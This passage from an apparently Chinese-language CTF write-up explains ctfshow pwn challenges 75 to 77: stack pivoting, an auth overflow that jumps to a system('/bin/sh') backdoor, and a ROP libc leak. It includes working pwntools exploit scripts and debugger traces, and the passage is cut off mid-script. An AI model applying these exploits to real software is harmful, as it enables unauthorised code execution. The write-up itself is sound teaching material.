class="string">&#x27;aaaa&#x27;</span>)</span><br><span class="line">02:0008│-030 0xff8b2188 ◂— 0x30 /* <span class="string">&#x27;0&#x27;</span> */</span><br><span class="line">03:000c│-02c 0xff8b218c —▸ 0x80486e5 (ctfshow+12) ◂— add ebx, 0x291b</span><br><span class="line">04:0010│ ecx 0xff8b2190 ◂— 0x61616161 (<span class="string">&#x27;aaaa&#x27;</span>)</span><br><span class="line">... ↓        8 skipped</span><br><span class="line">0d:0034│-004 0xff8b21b4 ◂— 0x776f6873 (<span class="string">&#x27;show&#x27;</span>)</span><br><span class="line">0e:0038│ ebp 0xff8b21b8 —▸ 0xff8b210a ◂— 0x1ea78</span><br></pre></td></tr></table></figure><p>ebp的地址是0xff8b21b8,buf的地址是0xff8b2190，两者相差0x38，我们可以用ebp-0x38来表示buf的地址</p><p>在第一次输入完后，进入到第二次输入，我们要往buf中写入system(“&#x2F;bin&#x2F;sh”),同时还要将栈劫持返回buf地址，然后就执行了我们想要的system(“&#x2F;bin&#x2F;sh”);</p><p>构造payload：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">buf = ebp - <span class="number">0x38</span></span><br><span class="line">payload = (p32(system) + <span class="string">b&#x27;aaaa&#x27;</span> + p32(buf + <span class="number">12</span>) + <span class="string">b&#x27;/bin/sh\x00&#x27;</span>).ljust(<span class="number">0x28</span>,<span class="string">b&#x27;a&#x27;</span>)+ p32(buf-<span class="number">4</span>) + p32(leave)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>由于程序中有system函数，我们可以直接利用前面的一部分是用来填充buf，也就是我们构造的payload【12的原因：】</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">偏移 0x00 ~ 0x03：system 函数地址（4字节）</span><br><span class="line">偏移 0x04 ~ 0x07：填充的 &#x27;aaaa&#x27;（4字节，栈对齐用）</span><br><span class="line">偏移 0x08 ~ 0x0b：p32(buf + 12)（4字节，这是 system 的参数）</span><br><span class="line">偏移 0x0c ~ 0x12：&#x27;/bin/sh\x00&#x27;（7字节，字符串本身）</span><br><span class="line">- buf 是起始地</span><br><span class="line">- &quot;/bin/sh\x00&quot; 从偏移 0x0c 开始存放（0x0c 是 12 十进制），因此它的地址是 buf + 0x0c = buf + 12。</span><br></pre></td></tr></table></figure><p>后面的p32(buf-4) + p32(leave)【<strong><code>栈迁移核心操作</code></strong>】</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">p32(buf-4) 是将ebp覆盖成buf的地址-4 为什么要-4？这是因为我们利用的是两个leave，但是第二个leave的pop ebp，在出栈的时候会esp+4。就会指向esp+4的位置，</span><br><span class="line">p32(leave) ,将返回地址覆盖成leave</span><br></pre></td></tr></table></figure><p>到这里，我们成功将栈劫持到了我们的buf处，接下来就会执行栈里的内容</p><p>同原理的，简单来说就是存在八个字节溢出，栈迁移，第一次泄露ebp，先得到栈上buf地址，再迁移到buf即可。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;new-window&#x27;</span>]</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28109)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">system = elf.plt[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">leave = <span class="number">0x08048766</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x24</span> + <span class="string">b&#x27;show&#x27;</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;codename:&#x27;</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;show&#x27;</span>)</span><br><span class="line">ebp = u32(io.recv(<span class="number">4</span>).ljust(<span class="number">4</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment">#gdb.attach(io)</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;ebp=&#x27;</span>+<span class="built_in">hex</span>(ebp))</span><br><span class="line">buf = ebp - <span class="number">0x38</span></span><br><span class="line">payload =(p32(system)+<span class="string">b&#x27;aaaa&#x27;</span>+p32(buf+<span class="number">12</span>)+<span class="string">b&#x27;/bin/sh\x00&#x27;</span>).ljust(<span class="number">0x28</span>,<span class="string">b&#x27;a&#x27;</span>)+p32(buf-<span class="number">4</span>)+p32(leave)</span><br><span class="line">io.send(payload)</span><br><span class="line"><span class="comment">#gdb.attach(io)</span></span><br><span class="line">io.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.terminal(<span class="string">&#x27;tmux&#x27;</span>,<span class="string">&#x27;new-window&#x27;</span>)</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">system=elf.plt[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">leave=<span class="number">0x08048766</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x24</span> + <span class="string">b&#x27;show&#x27;</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;codename:&#x27;</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;show&#x27;</span>)</span><br><span class="line">ebp=u32(io.recv(<span class="number">4</span>).ljust(<span class="number">4</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment">#gdb.attach(io)</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;ebp=&#x27;</span>+<span class="built_in">hex</span>(ebp))</span><br><span class="line">buf=ebp-<span class="number">0x38</span></span><br><span class="line">payload=(p32(system)+p32(<span class="number">0</span>)+p32(buf+<span class="number">0xc</span>)+<span class="string">b&#x27;/bin/sh\x00&#x27;</span>).ljust(<span class="number">0x28</span>,<span class="string">b&#x27;a&#x27;</span>)+p32(buf-<span class="number">4</span>)+p32(leave)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 231</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">ebp=0xfff36f08</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">\xb5\x87\x04\x08 o\xf3\xff4N\x02\xf3</span><br><span class="line">What <span class="keyword">do</span> you want to <span class="keyword">do</span>?</span><br><span class="line">Nothing here ,</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag </span><br></pre></td></tr></table></figure><h2 id="pwn76"><a href="#pwn76" class="headerlink" title="pwn76"></a>pwn76</h2><h6 id="Hint：还是那句话，理清逻辑很重要"><a href="#Hint：还是那句话，理清逻辑很重要" class="headerlink" title="Hint：还是那句话，理清逻辑很重要"></a>Hint：还是那句话，理清逻辑很重要</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn &amp;&amp; file pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, <span class="keyword">for</span> GNU/Linux 2.6.24, BuildID[sha1]=e09ec7145440153c4b3dedc3c7a8e328d9be6b55, not stripped</span><br></pre></td></tr></table></figure><p>32位关闭PIE部分开启RELRO，栈保护与NX是开启的，静态编译的，这里栈保护不一定是开启</p><p>接着查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> v4; <span class="comment">// [esp+4h] [ebp-3Ch]</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// [esp+18h] [ebp-28h] BYREF</span></span><br><span class="line">  _BYTE s[<span class="number">30</span>]; <span class="comment">// [esp+1Eh] [ebp-22h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> n0xC; <span class="comment">// [esp+3Ch] [ebp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;CTFshow login: &quot;</span>, v4);</span><br><span class="line">  _isoc99_scanf(<span class="string">&quot;%30s&quot;</span>, s);</span><br><span class="line">  <span class="built_in">memset</span>(&amp;input, <span class="number">0</span>, <span class="number">0xCu</span>);</span><br><span class="line">  v5 = <span class="number">0</span>;</span><br><span class="line">  n0xC = Base64Decode(s, &amp;v5);</span><br><span class="line">  <span class="keyword">if</span> ( n0xC &gt; <span class="number">0xC</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Input Error!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">memcpy</span>(&amp;input, v5, n0xC);</span><br><span class="line">    <span class="keyword">if</span> ( auth(n0xC) == <span class="number">1</span> )</span><br><span class="line">      correct();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里有很多的自定义函数，根据题目描述也应该知道要先理清逻辑，当然，这里很明显的有一个Base64Decode，你可以通过自己观察函数的逻辑看是否为真的是这么个逻辑,也可以动态调试一下，比如：flag的base64加密字符串→ZmxhZw&#x3D;&#x3D;</p><p>然后动态调试看一下：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ gdb pwn</span><br><span class="line">pwndbg&gt; b *0x80493CF</span><br><span class="line">pwndbg&gt; r</span><br><span class="line">Starting program: /CTFshow_pwn/pwn</span><br><span class="line">warning: Error disabling address space randomization: Operation not permitted</span><br><span class="line">CTFshow login:  ZmxhZw==</span><br><span class="line">pwndbg&gt; n</span><br><span class="line">b+ 0x80493cf &lt;main+194&gt;    call   Base64Decode                &lt;Base64Decode&gt;</span><br><span class="line"></span><br><span class="line"> ► 0x80493d4 &lt;main+199&gt;    mov    dword ptr [esp + 0x3c], eax     [0xffcedb0c] &lt;= 4</span><br><span class="line">   0x80493d8 &lt;main+203&gt;    cmp    dword ptr [esp + 0x3c], 0xc     0x4 - 0xc     EFLAGS =&gt; 0x200293 [ CF pfAF zf SF IF <span class="built_in">df</span> of ac ]</span><br><span class="line">   0x80493dd &lt;main+208&gt;  ✘ ja     main+262                    &lt;main+262&gt;</span><br><span class="line"></span><br><span class="line">   0x80493df &lt;main+210&gt;    mov    eax, dword ptr [esp + 0x18]     EAX, [0xffcedae8] =&gt; 0x82a29b8 ◂— <span class="string">&#x27;flag&#x27;</span></span><br><span class="line">   0x80493e3 &lt;main+214&gt;    mov    edx, dword ptr [esp + 0x3c]     EDX, [0xffcedb0c] =&gt; 4</span><br><span class="line">   0x80493e7 &lt;main+218&gt;    mov    dword ptr [esp + 8], edx        [0xffcedad8] &lt;= 4</span><br><span class="line">   0x80493eb &lt;main+222&gt;    mov    dword ptr [esp + 4], eax        [0xffcedad4] &lt;= 0x82a29b8 ◂— <span class="string">&#x27;flag&#x27;</span></span><br><span class="line">   0x80493ef &lt;main+226&gt;    mov    dword ptr [esp], input          [0xffcedad0] &lt;= 0x811eb40 (input) ◂— 0</span><br><span class="line">   0x80493f6 &lt;main+233&gt;    call   memcpy                      &lt;memcpy&gt;</span><br><span class="line"></span><br><span class="line">   0x80493fb &lt;main+238&gt;    mov    eax, dword ptr [esp + 0x3c]</span><br><span class="line">─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────</span><br><span class="line">00:0000│ esp 0xffcedad0 —▸ 0xffcedaee ◂— <span class="string">&#x27;ZmxhZw==&#x27;</span></span><br><span class="line">01:0004│-044 0xffcedad4 —▸ 0xffcedae8 —▸ 0x82a29b8 ◂— <span class="string">&#x27;flag&#x27;</span></span><br><span class="line">02:0008│-040 0xffcedad8 ◂— 0xc /* <span class="string">&#x27;\x0c&#x27;</span> */</span><br><span class="line">03:000c│-03c 0xffcedadc ◂— 0</span><br><span class="line">04:0010│-038 0xffcedae0 ◂— 1</span><br><span class="line">05:0014│-034 0xffcedae4 —▸ 0xffcedba4 —▸ 0xffcef6f6 ◂— <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">06:0018│-030 0xffcedae8 —▸ 0x82a29b8 ◂— <span class="string">&#x27;flag&#x27;</span></span><br><span class="line">07:001c│-02c 0xffcedaec ◂— 0x6d5a0001</span><br><span class="line">───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────</span><br><span class="line"> ► 0 0x80493d4 main+199</span><br><span class="line">   1 0x8059614 __libc_start_main+468</span><br><span class="line">   2 0x8048dd9 _start+33</span><br></pre></td></tr></table></figure><p>从调试能够看出确实是一个base64解密函数</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">Base64Decode</span><span class="params">(_BYTE *p_s, <span class="type">int</span> *a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v7; <span class="comment">// [esp+1Ch] [ebp-1Ch]</span></span><br><span class="line">  <span class="type">int</span> v8; <span class="comment">// [esp+20h] [ebp-18h]</span></span><br><span class="line">  <span class="type">int</span> v9; <span class="comment">// [esp+24h] [ebp-14h]</span></span><br><span class="line">  <span class="type">int</span> v10; <span class="comment">// [esp+2Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v10 = calcDecodeLength(p_s);</span><br><span class="line">  *a2 = <span class="built_in">malloc</span>(v10 + <span class="number">1</span>);</span><br><span class="line">  v2 = <span class="built_in">strlen</span>(p_s);</span><br><span class="line">  v9 = fmemopen(p_s, v2, &amp;unk_80DA64A);</span><br><span class="line">  v3 = BIO_f_base64();</span><br><span class="line">  v8 = BIO_new(v3);</span><br><span class="line">  v4 = BIO_new_fp(v9, <span class="number">0</span>);</span><br><span class="line">  v7 = BIO_push(v8, v4);</span><br><span class="line">  BIO_set_flags(v7, <span class="number">256</span>);</span><br><span class="line">  v5 = <span class="built_in">strlen</span>(p_s);</span><br><span class="line">  *(_BYTE *)(*a2 + BIO_read(v7, *a2, v5)) = <span class="number">0</span>;</span><br><span class="line">  BIO_free_all(v7);</span><br><span class="line">  fclose(v9);</span><br><span class="line">  <span class="keyword">return</span> v10;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是，值得注意的是，不要仅仅通过函数名去完全相信并判断它这个函数是干嘛的，当然，不可否认，大部分时间都是没错的，这里也仅仅是为了提醒一下大家。（你看到的东西不一定都是对的！！！）</p><p>继续跟进auth函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">_BOOL4 __cdecl <span class="title function_">auth</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> n0xC)</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE v2[<span class="number">8</span>]; <span class="comment">// [esp+14h] [ebp-14h] BYREF</span></span><br><span class="line">  <span class="type">char</span> *s2; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [esp+20h] [ebp-8h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memcpy</span>(&amp;v4, &amp;input, n0xC);</span><br><span class="line">  s2 = (<span class="type">char</span> *)calc_md5(v2, <span class="number">12</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;hash : %s\n&quot;</span>, (<span class="type">char</span>)s2);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">strcmp</span>(<span class="string">&quot;f87cd601aa7fedca99018a8be88eda34&quot;</span>, s2) == <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>auth函数会生成解码内容的md5哈希值，并且与程序中保存的哈希值进行对比。</p><p>注意一下上下文，从main函数能够看到，这里的n0xC是auth的实参</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">v5 = <span class="number">0</span>;</span><br><span class="line">n0xC = Base64Decode(s, &amp;v5);</span><br><span class="line"><span class="keyword">if</span> ( n0xC &gt; <span class="number">0xC</span> )</span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Input Error!&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">memcpy</span>(&amp;input, v5, n0xC); </span><br><span class="line">  <span class="keyword">if</span> ( auth(n0xC) == <span class="number">1</span> )</span><br><span class="line">    correct();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>n0xC是base64解码后的长度，当n0xC &gt; 0xC(十进制 12)的时候，会输出“Input Error!”然后退出进程</p><p>但是在auth函数的memcpy中，目的地址v4所在的位置是[ebp-8],所以当v10【也就是n0xC】 &#x3D; 0xC(十进制 12) 的时候，就会覆盖ebp寄存器所指向的栈基地址。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">高地址</span><br><span class="line">├─ [ebp+4] ：返回地址（auth执行完后回到main的地址，4字节）</span><br><span class="line">├─ [ebp]    ：上一层EBP（即main函数的EBP，4字节）</span><br><span class="line">├─ [ebp-4] ：局部变量s2（4字节）</span><br><span class="line">├─ [ebp-8] ：局部变量v4（我们要复制数据到这里，4字节）</span><br><span class="line">低地址</span><br></pre></td></tr></table></figure><p>在main函数中，还有一个memcpy，把解码后的数据copy填充到了input地址处，在程序关闭PIE的情况下，input的地址已知，我们可以通过栈劫持指针的方式，把数据布置到input所在的bss段：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.bss:0811EB40                 public input</span><br><span class="line">.bss:0811EB40 input           db    ? ;               ; DATA XREF: correct+6↑o</span><br><span class="line">.bss:0811EB40                                         ; auth+D↑o ...</span><br></pre></td></tr></table></figure><p>继续查看，程序存在后门函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> __noreturn <span class="title function_">correct</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( input == <span class="number">-559038737</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Wow Fantastic,you deserve it!&quot;</span>);</span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么思路就很清晰了，我们直接找到执行system(“&#x2F;bin&#x2F;sh”)的地址</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:08049284                 mov     dword ptr [esp], offset p__bin_sh ; &quot;/bin/sh&quot;</span><br><span class="line">.text:0804928B                 call    system</span><br></pre></td></tr></table></figure><p>值得注意的就是，auth执行完后，会通过leave和ret指令返回main，mov ebp,esp;pop ebp的时候，esp寄存器的值要减4，所以payload的前四个字节填充垃圾数据。</p><p>当main函数结束时，由于esp&#x3D;ebp+4,esp的内容存的是函数返回值地址</p><p>当然，我们在构造payload的时候需要先进行base64加密一下，然后程序进行解密，然后再达到我们控制程序执行流程的结果。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">input_addr = <span class="number">0x811EB40</span></span><br><span class="line">shell = <span class="number">0x8049284</span></span><br><span class="line">payload = <span class="string">b&#x27;aaaa&#x27;</span> + p32(input_addr) + p32(shell)</span><br><span class="line">payload = base64.b64encode(payload)</span><br><span class="line">io.sendlineafter(<span class="string">b&quot;login: &quot;</span>,payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 339</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"><span class="built_in">hash</span> : d1387d94f0112264f606f9f1bfeb939c</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn77"><a href="#pwn77" class="headerlink" title="pwn77"></a>pwn77</h2><h6 id="Hint：Ez-ROP-or-Mid-ROP"><a href="#Hint：Ez-ROP-or-Mid-ROP" class="headerlink" title="Hint：Ez ROP or Mid ROP ?"></a>Hint：Ez ROP or Mid ROP ?</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位关闭Canary PIE</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  alarm(<span class="number">0x30u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;T^T&quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v0; <span class="comment">// eax</span></span><br><span class="line">  __int64 result; <span class="comment">// rax</span></span><br><span class="line">  _BYTE v2[<span class="number">267</span>]; <span class="comment">// [rsp+0h] [rbp-110h]</span></span><br><span class="line">  <span class="type">char</span> n10; <span class="comment">// [rsp+10Bh] [rbp-5h]</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [rsp+10Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  v4 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> ( !feof(<span class="built_in">stdin</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    n10 = fgetc(<span class="built_in">stdin</span>);</span><br><span class="line">    <span class="keyword">if</span> ( n10 == <span class="number">10</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    v0 = v4++;</span><br><span class="line">    v2[v0] = n10;</span><br><span class="line">  &#125;</span><br><span class="line">  result = v4;</span><br><span class="line">  v2[v4] = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以发现跟平时做的不太一样，它实现了一个类似于gets的函数，栈溢出，但是会溢出覆盖掉v4，v4是控制数组的，通过栈上的一个变量来寻址 ，所以我们需要计算好0x110 - 4[从<code>v2</code>的起始位置到<code>v4</code>变量的距离]刚好开始覆盖<code>v4</code>变量，在gets覆盖到那个变量的时候，直接把他覆盖成返回地址的地方，然后直接往返回地址写rop。</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">功能相似性：ctfshow()函数通过循环从标准输入读取字符并存储到缓冲区v2中，直到遇到换行符（\n，ASCII 值 10）或文件结束符（EOF）才停止，这与gets()函数读取输入直到换行符的行为一致。 </span><br><span class="line"></span><br><span class="line">缺乏边界检查：和gets()一样，这个函数没有检查输入长度是否超过缓冲区v2的容量（267 字节）。当输入内容过长时，会发生栈溢出，覆盖后续的栈变量（如n10、v4）甚至返回地址。</span><br><span class="line"></span><br><span class="line">缓冲区溢出风险：v2的大小是 267 字节（_BYTE v2[267]），而它在栈上的位置是[rsp+0h] [rbp-110h]，即距离栈基址rbp的偏移是 0x110（272 字节）。这意味着当输入超过 267 字节时，就会开始覆盖v2之后的栈空间，包括变量n10和v4，最终可以覆盖函数的返回地址。</span><br><span class="line"></span><br><span class="line">终止条件：两者都以换行符作为输入结束的标志，并且会将换行符排除在存储内容之外（ctfshow()中遇到n10 == 10就break）。</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;ret&quot;</span></span><br><span class="line">0x00000000004008e3 : pop rdi ; ret</span><br><span class="line">0x0000000000400576 : ret</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;</span>)</span><br><span class="line">pop_rdi = <span class="number">0x4008e3</span><span class="comment"># ROPgadget找到的pop rdi; ret指令地址，用于设置函数参数 </span></span><br><span class="line">ret = <span class="number">0x400576</span><span class="comment"># ret指令地址，用于栈对</span></span><br><span class="line">fgetc_got = elf.got[<span class="string">&#x27;fgetc&#x27;</span>]<span class="comment"># fgetc函数的GOT表地址，用于泄露libc</span></span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]<span class="comment"># main函数地址，用于泄露后再次回到主程序</span></span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]<span class="comment"># puts函数的PLT表地址，用于输出泄露的地址</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x110</span> - <span class="number">0x4</span>) + <span class="string">b&#x27;\x18&#x27;</span> + p64(pop_rdi) + p64(fgetc_got) + p64(puts_plt) + p64(main)</span><br><span class="line"><span class="comment">#b&#x27;\x18&#x27;：v4 被修改为 0x118，写入位置：v2 + 0x118 = rbp - 0x110 + 0x118 = rbp + 8，rbp + 8 正是返回地址的位置【详细见下】</span></span><br><span class="line">io.sendlineafter(<span class="string">b&quot;T^T\n&quot;</span>, payload)</span><br><span class="line">fgetc = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&quot;\x00&quot;</span>))<span class="comment">#接收puts输出的fgetc地址（64 位地址通常前 6 字节有效），将 6，将字节流转换为 64 位整数，得到fgetc的实际内存地址，字节地址补全为 8 字节（符合 64 位数据格式）</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(fgetc))</span><br><span class="line">libc_base = fgetc - libc.sym[<span class="string">&#x27;fgetc&#x27;</span>]</span><br><span class="line">system_addr = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&quot;/bin/sh&quot;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;libc_base = &quot;</span> + <span class="built_in">hex</span>(libc_base)) </span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x110</span> - <span class="number">0x4</span>) + <span class="string">b&#x27;\x18&#x27;</span> + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)<span 